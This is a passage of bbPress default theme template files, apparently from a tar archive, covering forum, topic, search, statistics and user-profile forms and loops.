			<?php do_action( 'bbp_theme_after_topic_started_by' ); ?>

			<?php if ( ! bbp_is_single_forum() || ( bbp_get_topic_forum_id() !== bbp_get_forum_id() ) ) : ?>

				<?php do_action( 'bbp_theme_before_topic_started_in' ); ?>

				<span class="bbp-topic-started-in"><?php printf( esc_html__( 'in: %1$s', 'bbpress' ), '<a href="' . bbp_get_forum_permalink( bbp_get_topic_forum_id() ) . '">' . bbp_get_forum_title( bbp_get_topic_forum_id() ) . '</a>' ); ?></span>
				<?php do_action( 'bbp_theme_after_topic_started_in' ); ?>

			<?php endif; ?>

		</p>

		<?php do_action( 'bbp_theme_after_topic_meta' ); ?>

		<?php bbp_topic_row_actions(); ?>

	</li>

	<li class="bbp-topic-voice-count"><?php bbp_topic_voice_count(); ?></li>

	<li class="bbp-topic-reply-count"><?php bbp_show_lead_topic() ? bbp_topic_reply_count() : bbp_topic_post_count(); ?></li>

	<li class="bbp-topic-freshness">

		<?php do_action( 'bbp_theme_before_topic_freshness_link' ); ?>

		<?php bbp_topic_freshness_link(); ?>

		<?php do_action( 'bbp_theme_after_topic_freshness_link' ); ?>

		<p class="bbp-topic-meta">

			<?php do_action( 'bbp_theme_before_topic_freshness_author' ); ?>

			<span class="bbp-topic-freshness-author"><?php bbp_author_link( array( 'post_id' => bbp_get_topic_last_active_id(), 'size' => 14 ) ); ?></span>

			<?php do_action( 'bbp_theme_after_topic_freshness_author' ); ?>

		</p>
	</li>
</ul><!-- #bbp-topic-<?php bbp_topic_id(); ?> -->
templates/default/bbpress/content-archive-topic.php000066600000002236151771460310016560 0ustar00<?php

/**
 * Archive Topic Content Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php if ( bbp_allow_search() ) : ?>

		<div class="bbp-search-form">

			<?php bbp_get_template_part( 'form', 'search' ); ?>

		</div>

	<?php endif; ?>

	<?php bbp_breadcrumb(); ?>

	<?php do_action( 'bbp_template_before_topic_tag_description' ); ?>

	<?php if ( bbp_is_topic_tag() ) : ?>

		<?php bbp_topic_tag_description( array( 'before' => '<div class="bbp-template-notice info"><ul><li>', 'after' => '</li></ul></div>' ) ); ?>

	<?php endif; ?>

	<?php do_action( 'bbp_template_after_topic_tag_description' ); ?>

	<?php do_action( 'bbp_template_before_topics_index' ); ?>

	<?php if ( bbp_has_topics() ) : ?>

		<?php bbp_get_template_part( 'pagination', 'topics'    ); ?>

		<?php bbp_get_template_part( 'loop',       'topics'    ); ?>

		<?php bbp_get_template_part( 'pagination', 'topics'    ); ?>

	<?php else : ?>

		<?php bbp_get_template_part( 'feedback',   'no-topics' ); ?>

	<?php endif; ?>

	<?php do_action( 'bbp_template_after_topics_index' ); ?>

</div>
templates/default/bbpress/content-topic-tag-edit.php000066600000001275151771460310016637 0ustar00<?php

/**
 * Topic Tag Edit Content Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

	<?php do_action( 'bbp_template_before_topic_tag_description' ); ?>

	<?php bbp_topic_tag_description( array( 'before' => '<div class="bbp-template-notice info"><ul><li>', 'after' => '</li></ul></div>' ) ); ?>

	<?php do_action( 'bbp_template_after_topic_tag_description' ); ?>

	<?php do_action( 'bbp_template_before_topic_tag_edit' ); ?>

	<?php bbp_get_template_part( 'form', 'topic-tag' ); ?>

	<?php do_action( 'bbp_template_after_topic_tag_edit' ); ?>

</div>
templates/default/bbpress/loop-search-reply.php000066600000003117151771460310015717 0ustar00<?php

/**
 * Search Loop - Single Reply
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div class="bbp-reply-header">
	<div class="bbp-meta">
		<span class="bbp-reply-post-date"><?php bbp_reply_post_date(); ?></span>
		<a href="<?php bbp_reply_url(); ?>" class="bbp-reply-permalink">#<?php bbp_reply_id(); ?></a>
	</div><!-- .bbp-meta -->

	<div class="bbp-reply-title">
		<h3><?php esc_html_e( 'In reply to: ', 'bbpress' ); ?>
		<a class="bbp-topic-permalink" href="<?php bbp_topic_permalink( bbp_get_reply_topic_id() ); ?>"><?php bbp_topic_title( bbp_get_reply_topic_id() ); ?></a></h3>
	</div><!-- .bbp-reply-title -->
</div><!-- .bbp-reply-header -->

<div id="post-<?php bbp_reply_id(); ?>" <?php bbp_reply_class(); ?>>
	<div class="bbp-reply-author">

		<?php do_action( 'bbp_theme_before_reply_author_details' ); ?>

		<?php bbp_reply_author_link( array( 'show_role' => true ) ); ?>

		<?php if ( bbp_is_user_keymaster() ) : ?>

			<?php do_action( 'bbp_theme_before_reply_author_admin_details' ); ?>

			<div class="bbp-reply-ip"><?php bbp_author_ip( bbp_get_reply_id() ); ?></div>

			<?php do_action( 'bbp_theme_after_reply_author_admin_details' ); ?>

		<?php endif; ?>

		<?php do_action( 'bbp_theme_after_reply_author_details' ); ?>

	</div><!-- .bbp-reply-author -->

	<div class="bbp-reply-content">

		<?php do_action( 'bbp_theme_before_reply_content' ); ?>

		<?php bbp_reply_content(); ?>

		<?php do_action( 'bbp_theme_after_reply_content' ); ?>

	</div><!-- .bbp-reply-content -->
</div><!-- #post-<?php bbp_reply_id(); ?> -->

templates/default/bbpress/form-forum.php000066600000013737151771460310014454 0ustar00<?php

/**
 * New/Edit Forum
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( bbp_is_forum_edit() ) : ?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

	<?php bbp_single_forum_description( array( 'forum_id' => bbp_get_forum_id() ) ); ?>

<?php endif; ?>

<?php if ( bbp_current_user_can_access_create_forum_form() ) : ?>

	<div id="new-forum-<?php bbp_forum_id(); ?>" class="bbp-forum-form">

		<form id="new-post" name="new-post" method="post">

			<?php do_action( 'bbp_theme_before_forum_form' ); ?>

			<fieldset class="bbp-form">
				<legend>

					<?php
						if ( bbp_is_forum_edit() ) :
							printf( esc_html__( 'Now Editing &ldquo;%s&rdquo;', 'bbpress' ), bbp_get_forum_title() );
						else :
							bbp_is_single_forum()
								? printf( esc_html__( 'Create New Forum in &ldquo;%s&rdquo;', 'bbpress' ), bbp_get_forum_title() )
								: esc_html_e( 'Create New Forum', 'bbpress' );
						endif;
					?>

				</legend>

				<?php do_action( 'bbp_theme_before_forum_form_notices' ); ?>

				<?php if ( ! bbp_is_forum_edit() && bbp_is_forum_closed() ) : ?>

					<div class="bbp-template-notice">
						<ul>
							<li><?php esc_html_e( 'This forum is closed to new content, however your posting capabilities still allow you to post.', 'bbpress' ); ?></li>
						</ul>
					</div>

				<?php endif; ?>

				<?php if ( current_user_can( 'unfiltered_html' ) ) : ?>

					<div class="bbp-template-notice">
						<ul>
							<li><?php esc_html_e( 'Your account has the ability to post unrestricted HTML content.', 'bbpress' ); ?></li>
						</ul>
					</div>

				<?php endif; ?>

				<?php do_action( 'bbp_template_notices' ); ?>

				<div>

					<?php do_action( 'bbp_theme_before_forum_form_title' ); ?>

					<p>
						<label for="bbp_forum_title"><?php printf( esc_html__( 'Forum Name (Maximum Length: %d):', 'bbpress' ), bbp_get_title_max_length() ); ?></label><br />
						<input type="text" id="bbp_forum_title" value="<?php bbp_form_forum_title(); ?>" size="40" name="bbp_forum_title" maxlength="<?php bbp_title_max_length(); ?>" />
					</p>

					<?php do_action( 'bbp_theme_after_forum_form_title' ); ?>

					<?php do_action( 'bbp_theme_before_forum_form_content' ); ?>

					<?php bbp_the_content( array( 'context' => 'forum' ) ); ?>

					<?php do_action( 'bbp_theme_after_forum_form_content' ); ?>

					<?php if ( ! ( bbp_use_wp_editor() || current_user_can( 'unfiltered_html' ) ) ) : ?>

						<p class="form-allowed-tags">
							<label><?php esc_html_e( 'You may use these <abbr title="HyperText Markup Language">HTML</abbr> tags and attributes:','bbpress' ); ?></label><br />
							<code><?php bbp_allowed_tags(); ?></code>
						</p>

					<?php endif; ?>

					<?php if ( bbp_allow_forum_mods() && current_user_can( 'assign_moderators' ) ) : ?>

						<?php do_action( 'bbp_theme_before_forum_form_mods' ); ?>

						<p>
							<label for="bbp_moderators"><?php esc_html_e( 'Forum Moderators:', 'bbpress' ); ?></label><br />
							<input type="text" value="<?php bbp_form_forum_moderators(); ?>" size="40" name="bbp_moderators" id="bbp_moderators" />
						</p>

						<?php do_action( 'bbp_theme_after_forum_form_mods' ); ?>

					<?php endif; ?>

					<?php do_action( 'bbp_theme_before_forum_form_type' ); ?>

					<p>
						<label for="bbp_forum_type"><?php esc_html_e( 'Forum Type:', 'bbpress' ); ?></label><br />
						<?php bbp_form_forum_type_dropdown(); ?>
					</p>

					<?php do_action( 'bbp_theme_after_forum_form_type' ); ?>

					<?php do_action( 'bbp_theme_before_forum_form_status' ); ?>

					<p>
						<label for="bbp_forum_status"><?php esc_html_e( 'Status:', 'bbpress' ); ?></label><br />
						<?php bbp_form_forum_status_dropdown(); ?>
					</p>

					<?php do_action( 'bbp_theme_after_forum_form_status' ); ?>

					<?php do_action( 'bbp_theme_before_forum_visibility_status' ); ?>

					<p>
						<label for="bbp_forum_visibility"><?php esc_html_e( 'Visibility:', 'bbpress' ); ?></label><br />
						<?php bbp_form_forum_visibility_dropdown(); ?>
					</p>

					<?php do_action( 'bbp_theme_after_forum_visibility_status' ); ?>

					<?php do_action( 'bbp_theme_before_forum_form_parent' ); ?>

					<p>
						<label for="bbp_forum_parent_id"><?php esc_html_e( 'Parent Forum:', 'bbpress' ); ?></label><br />

						<?php
							bbp_dropdown( array(
								'select_id' => 'bbp_forum_parent_id',
								'show_none' => esc_html__( '&mdash; No parent &mdash;', 'bbpress' ),
								'selected'  => bbp_get_form_forum_parent(),
								'exclude'   => bbp_get_forum_id()
							) );
						?>
					</p>

					<?php do_action( 'bbp_theme_after_forum_form_parent' ); ?>

					<?php do_action( 'bbp_theme_before_forum_form_submit_wrapper' ); ?>

					<div class="bbp-submit-wrapper">

						<?php do_action( 'bbp_theme_before_forum_form_submit_button' ); ?>

						<button type="submit" id="bbp_forum_submit" name="bbp_forum_submit" class="button submit"><?php esc_html_e( 'Submit', 'bbpress' ); ?></button>

						<?php do_action( 'bbp_theme_after_forum_form_submit_button' ); ?>

					</div>

					<?php do_action( 'bbp_theme_after_forum_form_submit_wrapper' ); ?>

				</div>

				<?php bbp_forum_form_fields(); ?>

			</fieldset>

			<?php do_action( 'bbp_theme_after_forum_form' ); ?>

		</form>
	</div>

<?php elseif ( bbp_is_forum_closed() ) : ?>

	<div id="no-forum-<?php bbp_forum_id(); ?>" class="bbp-no-forum">
		<div class="bbp-template-notice">
			<ul>
				<li><?php printf( esc_html__( 'The forum &#8216;%s&#8217; is closed to new content.', 'bbpress' ), bbp_get_forum_title() ); ?></li>
			</ul>
		</div>
	</div>

<?php else : ?>

	<div id="no-forum-<?php bbp_forum_id(); ?>" class="bbp-no-forum">
		<div class="bbp-template-notice">
			<ul>
				<li><?php is_user_logged_in()
					? esc_html_e( 'You cannot create new forums.',               'bbpress' )
					: esc_html_e( 'You must be logged in to create new forums.', 'bbpress' );
				?></li>
			</ul>
		</div>
	</div>

<?php endif; ?>

<?php if ( bbp_is_forum_edit() ) : ?>

</div>

<?php endif;
templates/default/bbpress/content-statistics.php000066600000003604151771460310016215 0ustar00<?php

/**
 * Statistics Content Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

// Get the statistics
$stats = bbp_get_statistics(); ?>

<dl role="main">

	<?php do_action( 'bbp_before_statistics' ); ?>

	<dt><?php esc_html_e( 'Registered Users', 'bbpress' ); ?></dt>
	<dd>
		<strong><?php echo esc_html( $stats['user_count'] ); ?></strong>
	</dd>

	<dt><?php esc_html_e( 'Forums', 'bbpress' ); ?></dt>
	<dd>
		<strong><?php echo esc_html( $stats['forum_count'] ); ?></strong>
	</dd>

	<dt><?php esc_html_e( 'Topics', 'bbpress' ); ?></dt>
	<dd>
		<strong><?php echo esc_html( $stats['topic_count'] ); ?></strong>
	</dd>

	<dt><?php esc_html_e( 'Replies', 'bbpress' ); ?></dt>
	<dd>
		<strong><?php echo esc_html( $stats['reply_count'] ); ?></strong>
	</dd>

	<dt><?php esc_html_e( 'Topic Tags', 'bbpress' ); ?></dt>
	<dd>
		<strong><?php echo esc_html( $stats['topic_tag_count'] ); ?></strong>
	</dd>

	<?php if ( ! empty( $stats['empty_topic_tag_count'] ) ) : ?>

		<dt><?php esc_html_e( 'Empty Topic Tags', 'bbpress' ); ?></dt>
		<dd>
			<strong><?php echo esc_html( $stats['empty_topic_tag_count'] ); ?></strong>
		</dd>

	<?php endif; ?>

	<?php if ( ! empty( $stats['topic_count_hidden'] ) ) : ?>

		<dt><?php esc_html_e( 'Hidden Topics', 'bbpress' ); ?></dt>
		<dd>
			<strong>
				<abbr title="<?php echo esc_attr( $stats['hidden_topic_title'] ); ?>"><?php echo esc_html( $stats['topic_count_hidden'] ); ?></abbr>
			</strong>
		</dd>

	<?php endif; ?>

	<?php if ( ! empty( $stats['reply_count_hidden'] ) ) : ?>

		<dt><?php esc_html_e( 'Hidden Replies', 'bbpress' ); ?></dt>
		<dd>
			<strong>
				<abbr title="<?php echo esc_attr( $stats['hidden_reply_title'] ); ?>"><?php echo esc_html( $stats['reply_count_hidden'] ); ?></abbr>
			</strong>
		</dd>

	<?php endif; ?>

	<?php do_action( 'bbp_after_statistics' ); ?>

</dl>

<?php unset( $stats );templates/default/bbpress/form-search.php000066600000001301151771460310014551 0ustar00<?php

/**
 * Search 
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( bbp_allow_search() ) : ?>

	<div class="bbp-search-form">
		<form role="search" method="get" id="bbp-search-form">
			<div>
				<label class="screen-reader-text hidden" for="bbp_search"><?php esc_html_e( 'Search for:', 'bbpress' ); ?></label>
				<input type="hidden" name="action" value="bbp-search-request" />
				<input type="text" value="<?php bbp_search_terms(); ?>" name="bbp_search" id="bbp_search" />
				<input class="button" type="submit" id="bbp_search_submit" value="<?php esc_attr_e( 'Search', 'bbpress' ); ?>" />
			</div>
		</form>
	</div>

<?php endif;
templates/default/bbpress/form-anonymous.php000066600000002735151771460310015350 0ustar00<?php

/**
 * Anonymous User
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( bbp_current_user_can_access_anonymous_user_form() ) : ?>

	<?php do_action( 'bbp_theme_before_anonymous_form' ); ?>

	<fieldset class="bbp-form">
		<legend><?php ( bbp_is_topic_edit() || bbp_is_reply_edit() ) ? esc_html_e( 'Author Information', 'bbpress' ) : esc_html_e( 'Your information:', 'bbpress' ); ?></legend>

		<?php do_action( 'bbp_theme_anonymous_form_extras_top' ); ?>

		<p>
			<label for="bbp_anonymous_author"><?php esc_html_e( 'Name (required):', 'bbpress' ); ?></label><br />
			<input type="text" id="bbp_anonymous_author"  value="<?php bbp_author_display_name(); ?>" size="40" maxlength="100" name="bbp_anonymous_name" autocomplete="off" />
		</p>

		<p>
			<label for="bbp_anonymous_email"><?php esc_html_e( 'Mail (will not be published) (required):', 'bbpress' ); ?></label><br />
			<input type="text" id="bbp_anonymous_email"   value="<?php bbp_author_email(); ?>" size="40" maxlength="100" name="bbp_anonymous_email" />
		</p>

		<p>
			<label for="bbp_anonymous_website"><?php esc_html_e( 'Website:', 'bbpress' ); ?></label><br />
			<input type="text" id="bbp_anonymous_website" value="<?php bbp_author_url(); ?>" size="40" maxlength="200" name="bbp_anonymous_website" />
		</p>

		<?php do_action( 'bbp_theme_anonymous_form_extras_bottom' ); ?>

	</fieldset>

	<?php do_action( 'bbp_theme_after_anonymous_form' ); ?>

<?php endif;
templates/default/bbpress/user-favorites.php000066600000001542151771460310015330 0ustar00<?php

/**
 * User Favorites
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_user_favorites' ); ?>

<div id="bbp-user-favorites" class="bbp-user-favorites">

	<?php bbp_get_template_part( 'form', 'topic-search' ); ?>

	<h2 class="entry-title"><?php esc_html_e( 'Favorite Forum Topics', 'bbpress' ); ?></h2>
	<div class="bbp-user-section">

		<?php if ( bbp_get_user_favorites() ) : ?>

			<?php bbp_get_template_part( 'pagination', 'topics' ); ?>

			<?php bbp_get_template_part( 'loop',       'topics' ); ?>

			<?php bbp_get_template_part( 'pagination', 'topics' ); ?>

		<?php else : ?>

			<?php bbp_get_template_part( 'feedback', 'no-topics' ); ?>

		<?php endif; ?>

	</div>
</div><!-- #bbp-user-favorites -->

<?php do_action( 'bbp_template_after_user_favorites' );
templates/default/bbpress/loop-topics.php000066600000002324151771460310014621 0ustar00<?php

/**
 * Topics Loop
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

do_action( 'bbp_template_before_topics_loop' ); ?>

<ul id="bbp-forum-<?php bbp_forum_id(); ?>" class="bbp-topics">
	<li class="bbp-header">
		<ul class="forum-titles">
			<li class="bbp-topic-title"><?php esc_html_e( 'Topic', 'bbpress' ); ?></li>
			<li class="bbp-topic-voice-count"><?php esc_html_e( 'Voices', 'bbpress' ); ?></li>
			<li class="bbp-topic-reply-count"><?php bbp_show_lead_topic()
				? esc_html_e( 'Replies', 'bbpress' )
				: esc_html_e( 'Posts',   'bbpress' );
			?></li>
			<li class="bbp-topic-freshness"><?php esc_html_e( 'Last Post', 'bbpress' ); ?></li>
		</ul>
	</li>

	<li class="bbp-body">

		<?php while ( bbp_topics() ) : bbp_the_topic(); ?>

			<?php bbp_get_template_part( 'loop', 'single-topic' ); ?>

		<?php endwhile; ?>

	</li>

	<li class="bbp-footer">
		<div class="tr">
			<p>
				<span class="td colspan<?php echo ( bbp_is_user_home() && ( bbp_is_favorites() || bbp_is_subscriptions() ) ) ? '5' : '4'; ?>">&nbsp;</span>
			</p>
		</div><!-- .tr -->
	</li>
</ul><!-- #bbp-forum-<?php bbp_forum_id(); ?> -->

<?php do_action( 'bbp_template_after_topics_loop' );
templates/default/bbpress/content-single-reply.php000066600000001057151771460310016435 0ustar00<?php

/**
 * Single Reply Content Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

	<?php do_action( 'bbp_template_before_single_reply' ); ?>

	<?php if ( post_password_required() ) : ?>

		<?php bbp_get_template_part( 'form', 'protected' ); ?>

	<?php else : ?>

		<?php bbp_get_template_part( 'loop', 'single-reply' ); ?>

	<?php endif; ?>

	<?php do_action( 'bbp_template_after_single_reply' ); ?>

</div>
templates/default/bbpress/feedback-no-topics.php000066600000000444151771460310016007 0ustar00<?php

/**
 * No Topics Feedback Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div class="bbp-template-notice">
	<ul>
		<li><?php esc_html_e( 'Oh, bother! No topics were found here.', 'bbpress' ); ?></li>
	</ul>
</div>
templates/default/bbpress/content-single-user.php000066600000002324151771460310016256 0ustar00<?php

/**
 * Single User Content Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php do_action( 'bbp_template_notices' ); ?>

	<?php do_action( 'bbp_template_before_user_wrapper' ); ?>

	<div id="bbp-user-wrapper">

		<?php bbp_get_template_part( 'user', 'details' ); ?>

		<div id="bbp-user-body">
			<?php if ( bbp_is_favorites()               ) bbp_get_template_part( 'user', 'favorites'       ); ?>
			<?php if ( bbp_is_subscriptions()           ) bbp_get_template_part( 'user', 'subscriptions'   ); ?>
			<?php if ( bbp_is_single_user_engagements() ) bbp_get_template_part( 'user', 'engagements'     ); ?>
			<?php if ( bbp_is_single_user_topics()      ) bbp_get_template_part( 'user', 'topics-created'  ); ?>
			<?php if ( bbp_is_single_user_replies()     ) bbp_get_template_part( 'user', 'replies-created' ); ?>
			<?php if ( bbp_is_single_user_edit()        ) bbp_get_template_part( 'form', 'user-edit'       ); ?>
			<?php if ( bbp_is_single_user_profile()     ) bbp_get_template_part( 'user', 'profile'         ); ?>
		</div>
	</div>

	<?php do_action( 'bbp_template_after_user_wrapper' ); ?>

</div>
templates/default/bbpress/form-user-edit.php000066600000013006151771460310015212 0ustar00<?php

/**
 * bbPress User Profile Edit Part
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<form id="bbp-your-profile" method="post" enctype="multipart/form-data">

	<h2 class="entry-title"><?php esc_html_e( 'Name', 'bbpress' ) ?></h2>

	<?php do_action( 'bbp_user_edit_before' ); ?>

	<fieldset class="bbp-form">
		<legend><?php esc_html_e( 'Name', 'bbpress' ) ?></legend>

		<?php do_action( 'bbp_user_edit_before_name' ); ?>

		<div>
			<label for="first_name"><?php esc_html_e( 'First Name', 'bbpress' ) ?></label>
			<input type="text" name="first_name" id="first_name" value="<?php bbp_displayed_user_field( 'first_name', 'edit' ); ?>" class="regular-text" />
		</div>

		<div>
			<label for="last_name"><?php esc_html_e( 'Last Name', 'bbpress' ) ?></label>
			<input type="text" name="last_name" id="last_name" value="<?php bbp_displayed_user_field( 'last_name', 'edit' ); ?>" class="regular-text" />
		</div>

		<div>
			<label for="nickname"><?php esc_html_e( 'Nickname', 'bbpress' ); ?></label>
			<input type="text" name="nickname" id="nickname" value="<?php bbp_displayed_user_field( 'nickname', 'edit' ); ?>" class="regular-text" />
		</div>

		<div>
			<label for="display_name"><?php esc_html_e( 'Display Name', 'bbpress' ) ?></label>

			<?php bbp_edit_user_display_name(); ?>

		</div>

		<?php do_action( 'bbp_user_edit_after_name' ); ?>

	</fieldset>

	<h2 class="entry-title"><?php esc_html_e( 'Contact Info', 'bbpress' ) ?></h2>

	<fieldset class="bbp-form">
		<legend><?php esc_html_e( 'Contact Info', 'bbpress' ) ?></legend>

		<?php do_action( 'bbp_user_edit_before_contact' ); ?>

		<div>
			<label for="url"><?php esc_html_e( 'Website', 'bbpress' ) ?></label>
			<input type="text" name="url" id="url" value="<?php bbp_displayed_user_field( 'user_url', 'edit' ); ?>" maxlength="200" class="regular-text code" />
		</div>

		<?php foreach ( bbp_edit_user_contact_methods() as $name => $desc ) : ?>

			<div>
				<label for="<?php echo esc_attr( $name ); ?>"><?php echo apply_filters( 'user_' . $name . '_label', $desc ); ?></label>
				<input type="text" name="<?php echo esc_attr( $name ); ?>" id="<?php echo esc_attr( $name ); ?>" value="<?php bbp_displayed_user_field( $name, 'edit' ); ?>" class="regular-text" />
			</div>

		<?php endforeach; ?>

		<?php do_action( 'bbp_user_edit_after_contact' ); ?>

	</fieldset>

	<h2 class="entry-title"><?php bbp_is_user_home_edit()
		? esc_html_e( 'About Yourself', 'bbpress' )
		: esc_html_e( 'About the user', 'bbpress' );
	?></h2>

	<fieldset class="bbp-form">
		<legend><?php bbp_is_user_home_edit()
			? esc_html_e( 'About Yourself', 'bbpress' )
			: esc_html_e( 'About the user', 'bbpress' );
		?></legend>

		<?php do_action( 'bbp_user_edit_before_about' ); ?>

		<div>
			<label for="description"><?php esc_html_e( 'Biographical Info', 'bbpress' ); ?></label>
			<textarea name="description" id="description" rows="5" cols="30"><?php bbp_displayed_user_field( 'description', 'edit' ); ?></textarea>
		</div>

		<?php do_action( 'bbp_user_edit_after_about' ); ?>

	</fieldset>

	<h2 class="entry-title"><?php esc_html_e( 'Account', 'bbpress' ) ?></h2>

	<fieldset class="bbp-form">
		<legend><?php esc_html_e( 'Account', 'bbpress' ) ?></legend>

		<?php do_action( 'bbp_user_edit_before_account' ); ?>

		<div>
			<label for="user_login"><?php esc_html_e( 'Username', 'bbpress' ); ?></label>
			<input type="text" name="user_login" id="user_login" value="<?php bbp_displayed_user_field( 'user_login', 'edit' ); ?>" maxlength="100" disabled="disabled" class="regular-text" />
		</div>

		<div>
			<label for="email"><?php esc_html_e( 'Email', 'bbpress' ); ?></label>
			<input type="text" name="email" id="email" value="<?php bbp_displayed_user_field( 'user_email', 'edit' ); ?>" maxlength="100" class="regular-text" autocomplete="off" />
		</div>

		<?php bbp_get_template_part( 'form', 'user-passwords' ); ?>

		<div>
			<label for="url"><?php esc_html_e( 'Language', 'bbpress' ) ?></label>

			<?php bbp_edit_user_language(); ?>

		</div>

		<?php do_action( 'bbp_user_edit_after_account' ); ?>

	</fieldset>

	<?php if ( ! bbp_is_user_home_edit() && current_user_can( 'promote_user', bbp_get_displayed_user_id() ) ) : ?>

		<h2 class="entry-title"><?php esc_html_e( 'User Role', 'bbpress' ) ?></h2>

		<fieldset class="bbp-form">
			<legend><?php esc_html_e( 'User Role', 'bbpress' ); ?></legend>

			<?php do_action( 'bbp_user_edit_before_role' ); ?>

			<?php if ( is_multisite() && is_super_admin() && current_user_can( 'manage_network_options' ) ) : ?>

				<div>
					<label for="super_admin"><?php esc_html_e( 'Network Role', 'bbpress' ); ?></label>
					<label>
						<input class="checkbox" type="checkbox" id="super_admin" name="super_admin"<?php checked( is_super_admin( bbp_get_displayed_user_id() ) ); ?> />
						<?php esc_html_e( 'Grant this user super admin privileges for the Network.', 'bbpress' ); ?>
					</label>
				</div>

			<?php endif; ?>

			<?php bbp_get_template_part( 'form', 'user-roles' ); ?>

			<?php do_action( 'bbp_user_edit_after_role' ); ?>

		</fieldset>

	<?php endif; ?>

	<?php do_action( 'bbp_user_edit_after' ); ?>

	<fieldset class="submit">
		<legend><?php esc_html_e( 'Save Changes', 'bbpress' ); ?></legend>
		<div>

			<?php bbp_edit_user_form_fields(); ?>

			<button type="submit" id="bbp_user_edit_submit" name="bbp_user_edit_submit" class="button submit user-submit"><?php bbp_is_user_home_edit()
				? esc_html_e( 'Update Profile', 'bbpress' )
				: esc_html_e( 'Update User',    'bbpress' );
			?></button>
		</div>
	</fieldset>
</form>
templates/default/bbpress/form-topic-split.php000066600000011162151771460310015561 0ustar00<?php

/**
 * Split Topic
 *
 * @package bbPress
 * @subpackage Theme
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

?>

<div id="bbpress-forums" class="bbpress-wrapper">

	<?php bbp_breadcrumb(); ?>

	<?php if ( is_user_logged_in() && current_user_can( 'edit_topic', bbp_get_topic_id() ) ) : ?>

		<div id="split-topic-<?php bbp_topic_id(); ?>" class="bbp-topic-split">

			<form id="split_topic" name="split_topic" method="post">

				<fieldset class="bbp-form">

					<legend><?php printf( esc_html__( 'Split topic "%s"', 'bbpress' ), bbp_get_topic_title() ); ?></legend>

					<div>

						<div class="bbp-template-notice info">
							<ul>
								<li><?php esc_html_e( 'When you split a topic, you are slicing it in half starting with the reply you just selected. Choose to use that reply as a new topic with a new title, or merge those replies into an existing topic.', 'bbpress' ); ?></li>
							</ul>
						</div>

						<div class="bbp-template-notice">
							<ul>
								<li><?php esc_html_e( 'If you use the existing topic option, replies within both topics will be merged chronologically. The order of the merged replies is based on the time and date they were posted.', 'bbpress' ); ?></li>
							</ul>
						</div>

						<fieldset class="bbp-form">
							<legend><?php esc_html_e( 'Split Method', 'bbpress' ); ?></legend>

							<div>
								<input name="bbp_topic_split_option" id="bbp_topic_split_option_reply" type="radio" checked="checked" value="reply" />
								<label for="bbp_topic_split_option_reply"><?php printf( esc_html__( 'New topic in %s titled:', 'bbpress' ), bbp_get_forum_title( bbp_get_topic_forum_id( bbp_get_topic_id() ) ) ); ?></label>
								<input type="text" id="bbp_topic_split_destination_title" value="<?php printf( esc_html__( 'Split: %s', 'bbpress' ), bbp_get_topic_title() ); ?>" size="35" name="bbp_topic_split_destination_title" />
							</div>

							<?php if ( bbp_has_topics( array( 'show_stickies' => false, 'post_parent' => bbp_get_topic_forum_id( bbp_get_topic_id() ), 'post__not_in' => array( bbp_get_topic_id() ) ) ) ) : ?>

								<div>
									<input name="bbp_topic_split_option" id="bbp_topic_split_option_existing" type="radio" value="existing" />
									<label for="bbp_topic_split_option_existing"><?php esc_html_e( 'Use an existing topic in this forum:', 'bbpress' ); ?></label>

									<?php
										bbp_dropdown( array(
											'post_type'   => bbp_get_topic_post_type(),
											'post_parent' => bbp_get_topic_forum_id( bbp_get_topic_id() ),
											'post_status' => bbp_get_public_topic_statuses(),
											'selected'    => -1,
											'exclude'     => bbp_get_topic_id(),
											'select_id'   => 'bbp_destination_topic'
										) );
									?>

								</div>

							<?php endif; ?>

						</fieldset>

						<fieldset class="bbp-form">
							<legend><?php esc_html_e( 'Topic Extras', 'bbpress' ); ?></legend>

							<div>

								<?php if ( bbp_is_subscriptions_active() ) : ?>

									<input name="bbp_topic_subscribers" id="bbp_topic_subscribers" type="checkbox" value="1" checked="checked" />
									<label for="bbp_topic_subscribers"><?php esc_html_e( 'Copy subscribers to the new topic', 'bbpress' ); ?></label><br />

								<?php endif; ?>

								<input name="bbp_topic_favoriters" id="bbp_topic_favoriters" type="checkbox" value="1" checked="checked" />
								<label for="bbp_topic_favoriters"><?php esc_html_e( 'Copy favoriters to the new topic', 'bbpress' ); ?></label><br />

								<?php if ( bbp_allow_topic_tags() ) : ?>

									<input name="bbp_topic_tags" id="bbp_topic_tags" type="checkbox" value="1" checked="checked" />
									<label for="bbp_topic_tags"><?php esc_html_e( 'Copy topic tags to the new topic', 'bbpress' ); ?></label><br />

								<?php endif; ?>

							</div>
						</fieldset>

						<div class="bbp-template-notice error" role="alert" tabindex="-1">
							<ul>
